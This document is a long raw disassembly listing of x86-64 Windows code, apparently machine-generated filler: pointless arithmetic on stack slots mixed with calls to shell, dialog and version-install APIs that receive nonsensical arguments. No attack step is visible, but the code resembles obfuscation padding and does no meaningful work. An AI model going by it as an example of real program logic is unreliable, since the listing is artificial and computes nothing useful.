mov rcx, qword [rsp + 0xe8b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
mov word [rsp + 0x3144], ax
movzx eax, byte [rsp + 0x52d]
mov rcx, qword [rsp + 0xde68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5be], al
mov rax, qword [rsp + 0xe970]
imul eax, dword [rax], 0x305f9bc1
mov dword [rsp + 0x5cec], eax
mov rax, qword [rsp + 0xf2b8]
mov rcx, qword [rsp + 0xf488]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6894], eax
mov rax, qword [rsp + 0xb698]
mov rcx, qword [rsp + 0xf200]
mov qword [rsp + 0xf810], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf810]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xebe8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xec28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4f7]
shl eax, cl
mov byte [0x14019d013], al
lea rax, [rsp + 0xd7c8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xdf60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xe1d8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xed90]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xebe0]
mov r8, qword [rsp + 0xf818]
mov rdx, qword [rsp + 0xe298]
mov ecx, PathYetAnotherMakeUniqueName
call sub.VERSION.dll_VerInstallFileW
mov dword [rsp + 0x6cd8], eax
movzx eax, word [rsp + 0x1308]
mov word [rsp + 0x3148], ax
lea rcx, [rsp + 0x1e880]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0xf820], rax
mov rax, qword [rsp + 0xe828]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd770]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x30f0], ax
mov rax, qword [rsp + 0xdb00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3070]
sub eax, ecx
mov word [rsp + 0x1590], ax
mov rax, qword [rsp + 0xdeb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf1c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc4f8], rax
mov rax, qword [rsp + 0xe340]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e0]
xor eax, ecx
mov byte [rsp + 0x18d], al
mov eax, dword [rsp + 0x6fb4]
mov dword [rsp + 0x71ec], eax
mov rax, qword [rsp + 0xddd8]
mov rcx, qword [rsp + 0xd2f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xec08], rax
mov rax, qword [0x14019f190]
movzx eax, word [rax]
mov word [rsp + 0x314c], ax
mov rax, qword [rsp + 0xebb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd828]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14019f4d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xf828], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf828]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xef30], rax
movzx eax, word [0x14019d1e4]
movzx ecx, word [rsp + 0x2c18]
or eax, ecx
mov word [rsp + 0x1264], ax
movzx eax, byte [rsp + 0x282]
movzx ecx, byte [rsp + 0x543]
sub eax, ecx
mov rcx, qword [rsp + 0xe440]
mov byte [rcx], al
mov eax, dword [rsp + 0x6d44]
mov ecx, dword [rsp + 0x6700]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ee8], eax
mov rax, qword [rsp + 0xdd70]
movzx eax, byte [rax]
mov byte [rsp + 0x5cb], al
mov rax, qword [rsp + 0xea78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf6a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa980], rax
lea rax, [rsp + 0x632c]
mov qword [rsp + 0xf830], rax
mov rax, qword [rsp + 0xd398]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe78]
or eax, ecx
mov word [rsp + 0x2aa4], ax
movzx eax, word [rsp + 0x2c18]
mov rcx, qword [rsp + 0xda50]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019f4f8], ax
mov rax, qword [rsp + 0xcaf0]
movzx ecx, al
mov rax, qword [rsp + 0x92c8]
sar rax, cl
mov qword [rsp + 0xe108], rax
mov rax, qword [rsp + 0xad88]
mov rcx, qword [rsp + 0xc5b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9da8], rax
mov rax, qword [rsp + 0xf5f8]
movsx eax, word [rax]
mov rcx, qword [0x14019f660]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xec4], ax
mov rax, qword [rsp + 0xf1f8]
movzx eax, word [rax]
mov word [rsp + 0x3150], ax
mov rax, qword [rsp + 0xea78]
mov rcx, qword [rsp + 0x96b0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc188], rax
mov rax, qword [rsp + 0xe6e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d6c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
lea rax, [rsp + 0x1c6]
mov qword [rsp + 0xf838], rax
mov rax, qword [rsp + 0xbf00]
mov rcx, qword [rsp + 0xebc0]
mov qword [rsp + 0xf840], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf840]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xdc38], rax
movzx eax, word [rsp + 0x2cf4]
mov word [0x14019f6b0], ax
lea rax, [rsp + 0x150c]
mov qword [rsp + 0xf848], rax
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [rsp + 0x56f]
shl eax, cl
mov byte [rsp + 0x171], al
mov dword [rsp + 0x20], reloc.SHELL32.dll_ILFree
lea r9, [rsp + 0xd130]
mov r8, qword [rsp + 0xf850]
mov rdx, qword [rsp + 0xe510]
mov rcx, qword [rsp + 0xd5b8]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x6c14], eax
mov rax, qword [rsp + 0xdbc8]
mov ecx, dword [rsp + 0x7138]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5b24], eax
mov rax, qword [0x14019f390]
mov qword [rsp + 0xf858], rax
movsx eax, byte [rsp + 0x583]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x531], al
mov rax, qword [rsp + 0xeaa8]
mov rcx, qword [0x14019f1f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc7b8], rax
mov rax, qword [rsp + 0xdc60]
mov ecx, dword [rsp + 0x6654]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6de4], eax
movzx eax, word [rsp + 0x2f58]
mov word [rsp + 0x3154], ax
mov rax, qword [rsp + 0xe930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb98]
sub eax, ecx
mov word [0x14019f4f4], ax
mov rax, qword [rsp + 0xd500]
movzx ecx, al
mov rax, qword [rsp + 0xb100]
shl rax, cl
mov qword [rsp + 0xabf8], rax
movzx eax, word [rsp + 0x2d34]
movzx ecx, word [rsp + 0x10d4]
or eax, ecx
mov word [rsp + 0x2ca0], ax
lea rax, [0x14019d1e8]
mov qword [rsp + 0xf860], rax
mov rax, qword [rsp + 0xe810]
movzx ecx, al
mov rax, qword [rsp + 0xd288]
sar rax, cl
mov qword [rsp + 0xb138], rax
mov rax, qword [rsp + 0xe010]
mov rcx, qword [rsp + 0xdb78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9bf8], rax
mov rax, qword [rsp + 0xe0a0]
mov eax, dword [rax]
mov ecx, dword [0x14019f5b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xda70]
mov dword [rcx], eax
mov rax, qword [rsp + 0xec28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12b]
xor eax, ecx
mov byte [rsp + 0x58c], al
movzx eax, word [rsp + 0x2b70]
mov word [rsp + 0x3158], ax
mov r9d, 0xf8
mov r8, qword [rsp + 0xd360]
lea rdx, [rsp + 0xe7f0]
mov rcx, qword [rsp + 0xce30]
call qword [sym.imp.SHELL32.dll_SHPathPrepareForWriteW]
mov dword [rsp + 0x7024], eax
lea rax, [rsp + 0xe190]
mov qword [0x14019f6b8], rax
lea rcx, [rsp + 0x20930]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [rsp + 0x71f0], eax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x55d]
and eax, ecx
mov byte [rsp + 0x5b1], al
mov rax, qword [rsp + 0xe708]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x63a0], eax
movsx eax, word [rsp + 0x2e50]
movsx ecx, word [rsp + 0x30f4]
shl eax, cl
mov word [rsp + 0x2d70], ax
movzx eax, word [rsp + 0x3084]
mov rcx, qword [rsp + 0xe4a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x24cc], ax
lea rax, [rsp + 0x5c7]
mov qword [rsp + 0xf868], rax
mov rax, qword [rsp + 0xda70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7048]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe8a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf4b0]
mov rax, qword [rax]
mov qword [rsp + 0xf870], rax
movsx eax, word [rsp + 0x3088]
movsx ecx, word [rsp + 0x18e4]
sub eax, ecx
mov rcx, qword [rsp + 0xd5b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f3c]
add eax, ecx
mov word [0x14019d350], ax
mov rax, qword [rsp + 0xe3a8]
mov rax, qword [rax]
mov qword [rsp + 0xf878], rax
mov rax, qword [rsp + 0xd940]
mov rax, qword [rax]
mov rcx, qword [0x14019f300]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x90d8], rax
mov rax, qword [rsp + 0xed10]
mov rcx, qword [rsp + 0xa648]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb8b0], rax
mov rax, qword [rsp + 0xddb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdcf8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f60], ax
mov rax, qword [rsp + 0xe7f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9618]
shr rax, cl
mov qword [rsp + 0xafc0], rax
movzx eax, byte [rsp + 0x6f]
mov byte [rsp + 0x5cc], al
mov eax, dword [0x14019f428]
mov rcx, qword [rsp + 0xf2b8]
mov qword [rsp + 0xf880], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf880]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xde78]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x549]
movzx ecx, byte [rsp + 0x2d5]
xor eax, ecx
mov byte [rsp + 0x4f0], al
lea rax, [rsp + 0x70e8]
mov qword [rsp + 0xf888], rax
lea rcx, [rsp + 0x6f7c]
call qword [sym.imp.SHELL32.dll_ILFree]
movsx eax, word [rsp + 0xbf4]
movsx ecx, word [0x14019d2b4]
and eax, ecx
mov word [0x14019d1bc], ax
mov rax, qword [rsp + 0xe730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10d8]
sub eax, ecx
mov word [rsp + 0xce0], ax
mov rax, qword [rsp + 0xdf78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d50]
or eax, ecx
mov word [rsp + 0x25c4], ax
mov rax, qword [rsp + 0xe690]
movzx ecx, al
mov rax, qword [rsp + 0xdf40]
shl rax, cl
mov qword [rsp + 0xcb10], rax
mov rax, qword [rsp + 0xf3b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe788]
shr rax, cl
mov qword [rsp + 0xa3d8], rax
lea rax, [rsp + 0x6d6c]
mov qword [rsp + 0xf890], rax
movsx eax, byte [rsp + 0x9b]
mov rcx, qword [rsp + 0xec28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53b], al
lea rax, [rsp + 0x2160]
mov qword [rsp + 0xf898], rax
mov rax, qword [rsp + 0xf3b8]
movzx eax, word [rax]
mov rcx, qword [0x14019f3c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d2c], ax
mov rax, qword [rsp + 0xf2c0]
mov rax, qword [rax]
mov qword [0x14019f6c0], rax
mov rax, qword [rsp + 0xf3e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2fe4]
add eax, ecx
mov word [rsp + 0x1534], ax
mov rax, qword [rsp + 0xd388]
mov rax, qword [rax]
mov qword [rsp + 0xf8a0], rax
mov rax, qword [0x14019f3d0]
mov rcx, qword [rsp + 0xd6d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xac20], rax
mov rax, qword [rsp + 0xefe0]
movzx eax, byte [rax]
mov byte [rsp + 0x5cd], al
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7014], eax
mov rax, qword [rsp + 0xf530]
mov ecx, dword [rsp + 0x5ac4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x62cc], eax
movzx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0xd1a0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x52d], al
mov rax, qword [rsp + 0xd1e8]
mov rcx, qword [rsp + 0xecc0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xf358], rax
movsx eax, word [rsp + 0x2874]
mov rcx, qword [rsp + 0xd9b8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14019f5e4], ax
mov rax, qword [rsp + 0xd878]
movzx eax, word [rax]
mov word [rsp + 0x315c], ax
mov rax, qword [0x14019f4d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ea4]
sar eax, cl
mov word [rsp + 0x2f24], ax
movzx eax, word [rsp + 0x2ae0]
mov rcx, qword [rsp + 0xef10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbd8], ax
mov eax, dword [0x14019f0c8]
mov rcx, qword [rsp + 0xf628]
mov qword [rsp + 0xf8a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf8a8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6f14], eax
mov rax, qword [rsp + 0xf538]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcb68]
shl rax, cl
mov qword [rsp + 0x9b28], rax
lea rax, [rsp + 0x55c]
mov qword [rsp + 0xf8b0], rax
mov rax, qword [rsp + 0xf700]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a38]
or eax, ecx
mov word [rsp + 0x1578], ax
movzx eax, word [rsp + 0x2c28]
mov word [rsp + 0x3160], ax
mov rax, qword [rsp + 0xe700]
mov rax, qword [rax]
mov qword [0x14019f6c8], rax
mov rax, qword [rsp + 0xd650]
mov rcx, qword [0x14019f558]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b10], rax
mov rax, qword [rsp + 0xe080]
mov rcx, qword [rsp + 0xecf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xdcb0], rax
lea rax, [rsp + 0xe258]
mov qword [rsp + 0xf8b8], rax
mov rax, qword [rsp + 0xd8e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xee18]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a60], ax
lea rax, [rsp + 0x45a]
mov qword [rsp + 0xf8c0], rax
mov eax, dword [rsp + 0x5918]
mov ecx, dword [rsp + 0x70cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe7b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd210]
mov qword [rsp + 0xf8c8], rax
mov rax, qword [0x14019f320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x530]
add eax, ecx
mov byte [rsp + 0x54c], al
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e44]
add ecx, eax
mov eax, ecx
mov dword [0x14019d0b0], eax
movsx eax, word [rsp + 0x2a88]
movsx ecx, word [0x14019f214]
xor eax, ecx
mov word [rsp + 0x2bac], ax
mov rax, qword [rsp + 0xd2d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xde90]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2370], ax
mov rax, qword [rsp + 0xdd28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ffc]
or eax, ecx
mov word [rsp + 0xf5c], ax
mov rax, qword [rsp + 0xf5d0]
mov rax, qword [rax]
mov qword [rsp + 0xf8d0], rax
mov rax, qword [rsp + 0x90e8]
mov rcx, qword [rsp + 0xf200]
mov qword [rsp + 0xf8d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf8d8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xf510], rax
mov rax, qword [rsp + 0xdf20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6d28]
shl eax, cl
mov dword [rsp + 0x71c8], eax
lea rax, [rsp + 0x4e4]
mov qword [rsp + 0xf8e0], rax
mov rax, qword [rsp + 0xdb68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf640]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x26ec], ax
movzx eax, word [rsp + 0x1d04]
mov rcx, qword [0x14019f688]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019d114], ax
mov rax, qword [rsp + 0xef80]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd830]
shl rax, cl
mov qword [rsp + 0xb3a8], rax
movzx eax, word [rsp + 0x2aa8]
movzx ecx, word [rsp + 0x2318]
or eax, ecx
mov rcx, qword [rsp + 0xf1f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xea58]
mov ecx, dword [rsp + 0x7080]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x71e0], eax
movzx eax, byte [rsp + 0x527]
mov byte [rsp + 0x5ce], al
mov rax, qword [rsp + 0xd438]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x516]
sub eax, ecx
mov byte [rsp + 0x5b2], al
mov rax, qword [rsp + 0xcfb0]
mov rcx, qword [rsp + 0xdbd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6658], eax
mov rax, qword [rsp + 0xf200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe428]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc670], rax
mov rax, qword [rsp + 0xf640]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xe558]
mov word [rcx], ax
movzx eax, word [rsp + 0xbf8]
mov rcx, qword [rsp + 0xdbf0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019d354], ax
mov rax, qword [rsp + 0x9ee8]
mov qword [rsp + 0xf8e8], rax
mov rax, qword [rsp + 0xca50]
mov rcx, qword [0x14019f5f0]
mov qword [rsp + 0xf8f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf8f0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9820], rax
mov rax, qword [rsp + 0xd750]
movzx eax, word [rax]
mov word [rsp + 0x3164], ax
movzx eax, word [rsp + 0xce0]
movzx ecx, word [rsp + 0x2d50]
or eax, ecx
mov rcx, qword [rsp + 0xf4f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov ecx, dword [0x14019f428]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b7c], eax
mov rax, qword [rsp + 0xe7f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb650]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9fe0], rax
movsx eax, byte [0x14019ef9c]
movsx ecx, byte [rsp + 0x2bf]
sub eax, ecx
mov byte [rsp + 0x55c], al
mov rax, qword [rsp + 0xe080]
mov rax, qword [rax]
mov qword [rsp + 0xf8f8], rax
mov rax, qword [rsp + 0xd398]
movzx eax, word [rax]
mov word [0x14019f6d0], ax
movzx eax, word [rsp + 0x2ed0]
movzx ecx, word [rsp + 0x26d0]
shl eax, cl
mov word [rsp + 0x2da8], ax
mov eax, dword [rsp + 0x5f48]
mov ecx, dword [rsp + 0x6e00]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5adc], eax
mov rax, qword [rsp + 0xf8c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf030]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x14f], al
mov rax, qword [0x14019f030]
mov rcx, qword [rsp + 0xe840]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x95e0], rax
lea rax, [rsp + 0x55f]
mov qword [rsp + 0xf900], rax
mov rax, qword [rsp + 0xf830]
mov rcx, qword [rsp + 0xd198]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6dec], eax
mov rax, qword [0x14019f0f8]
mov rax, qword [rax]
mov qword [rsp + 0xf908], rax
mov rax, qword [rsp + 0xf2e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xddb8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1180]
movzx ecx, word [rsp + 0x2be0]
and eax, ecx
mov word [0x14019f56c], ax
mov rax, qword [rsp + 0xf390]
movzx ecx, al
mov rax, qword [rsp + 0xf658]
shl rax, cl
mov qword [rsp + 0xeb48], rax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
mov word [rsp + 0x3168], ax
movsx eax, word [rsp + 0x1314]
mov rcx, qword [rsp + 0xde08]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bf8], ax
mov rax, qword [rsp + 0xd1c0]
mov rcx, qword [rsp + 0xbc68]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9ce0], rax
mov rax, qword [rsp + 0xdfa8]
mov rcx, qword [rsp + 0xd3d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7068], eax
mov rax, qword [rsp + 0xe010]
mov rcx, qword [rsp + 0xe278]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaf38], rax
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x5cf], al
mov rax, qword [rsp + 0xf630]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xf1e8]
mov word [rcx], ax
mov rax, qword [0x14019f2b0]
mov rcx, qword [rsp + 0xe338]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019d358], rax
movzx eax, byte [rsp + 0x4c]
mov rcx, qword [rsp + 0xd740]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2a2], al
mov eax, dword [0x14019efa8]
mov ecx, dword [rsp + 0x5eac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6348], eax
mov rax, qword [rsp + 0xda00]
movzx eax, word [rax]
mov word [rsp + 0x316c], ax
mov rax, qword [rsp + 0xf260]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1804], ax
mov rax, qword [0x14019efc8]
mov ecx, dword [rsp + 0x6efc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5f6c], eax
mov rax, qword [rsp + 0xa4b0]
mov qword [rsp + 0xf910], rax
mov rax, qword [rsp + 0xe308]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55f]
add eax, ecx
mov rcx, qword [rsp + 0xd438]
mov byte [rcx], al
movsx eax, word [rsp + 0x1764]
mov rcx, qword [rsp + 0xf008]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2948], ax
movzx eax, word [rsp + 0xc4c]
movzx ecx, word [rsp + 0x3084]
xor eax, ecx
mov word [0x14019d248], ax
mov rax, qword [rsp + 0xef80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf370]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe150], rax
mov rax, qword [rsp + 0xdeb0]
mov rcx, qword [rsp + 0xe978]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xebd8], rax
mov rax, qword [rsp + 0xf4c0]
mov rax, qword [rax]
mov qword [rsp + 0xf918], rax
mov rax, qword [rsp + 0xf860]
movsx eax, word [rax]
mov rcx, qword [0x14019f4c8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xf780]
mov word [rcx], ax
lea rax, [rsp + 0xe418]
mov qword [rsp + 0xf920], rax
movsx eax, byte [rsp + 0x4ad]
mov rcx, qword [rsp + 0xdd70]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xf558]
mov byte [rcx], al
mov rax, qword [rsp + 0xdff0]
mov eax, dword [rax]
mov ecx, dword [0x14019f5b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f40], eax
mov rax, qword [rsp + 0xe9a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf668]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc6], al
mov rax, qword [rsp + 0xe708]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7028], eax
movsx eax, word [rsp + 0x29ac]
mov rcx, qword [rsp + 0xd188]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019f16c], ax
movzx eax, word [rsp + 0x1208]
mov word [rsp + 0x3170], ax
movzx eax, word [rsp + 0x2f08]
movzx ecx, word [rsp + 0x2d90]
or eax, ecx
mov word [rsp + 0x2a80], ax
mov rax, qword [rsp + 0xdd68]
mov rax, qword [rax]
mov qword [rsp + 0xf928], rax
mov rax, qword [rsp + 0xd608]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb050]
shl rax, cl
mov qword [rsp + 0xafc0], rax
movsx eax, byte [rsp + 0x573]
mov rcx, qword [0x14019f340]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4ab], al
mov rax, qword [rsp + 0xf628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6fe8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6788], eax
mov rax, qword [rsp + 0xde90]
movsx eax, word [rax]
mov rcx, qword [0x14019f190]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x29cc], ax
mov rax, qword [rsp + 0xe4a8]
movzx eax, word [rax]
mov word [rsp + 0x3174], ax
mov rcx, qword [rsp + 0xd8b8]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [rsp + 0x6ca4], eax
mov rax, qword [rsp + 0xda90]
mov rax, qword [rax]
mov qword [0x14019f6d8], rax
mov r8d, reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
lea rdx, [rsp + 0x1f020]
lea rcx, [rsp + 0xdf08]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x6fc8], eax
mov rax, qword [rsp + 0xf1f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2fe4]
sub eax, ecx
mov word [rsp + 0x2d2c], ax
mov rax, qword [rsp + 0xd5a0]
mov rcx, qword [rsp + 0xe810]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xee80], rax
mov rax, qword [rsp + 0xd450]
mov rcx, qword [rsp + 0xd7a8]
mov qword [rsp + 0xf930], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf930]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xbb28], rax
mov rax, qword [0x14019f290]
mov rcx, qword [rsp + 0xd3b8]
mov qword [rsp + 0xf938], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf938]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9c50], rax
mov rax, qword [rsp + 0xe450]
movzx eax, byte [rax]
mov byte [rsp + 0x5d0], al
mov rax, qword [rsp + 0xe760]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58f]
sub eax, ecx
mov byte [rsp + 0x51e], al
mov rax, qword [rsp + 0xf548]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x64cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e98], eax
mov rax, qword [rsp + 0xdd88]
mov ecx, dword [rsp + 0x7114]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6934], eax
mov rax, qword [rsp + 0xf430]
movzx eax, word [rax]
mov word [0x14019f6e0], ax
movsx eax, word [rsp + 0x2f58]
mov rcx, qword [rsp + 0xd188]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b64], ax
lea rax, [rsp + 0x1c6c]
mov qword [rsp + 0xf940], rax
mov rax, qword [rsp + 0xe250]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd700]
movzx ecx, word [rcx]
add eax, ecx
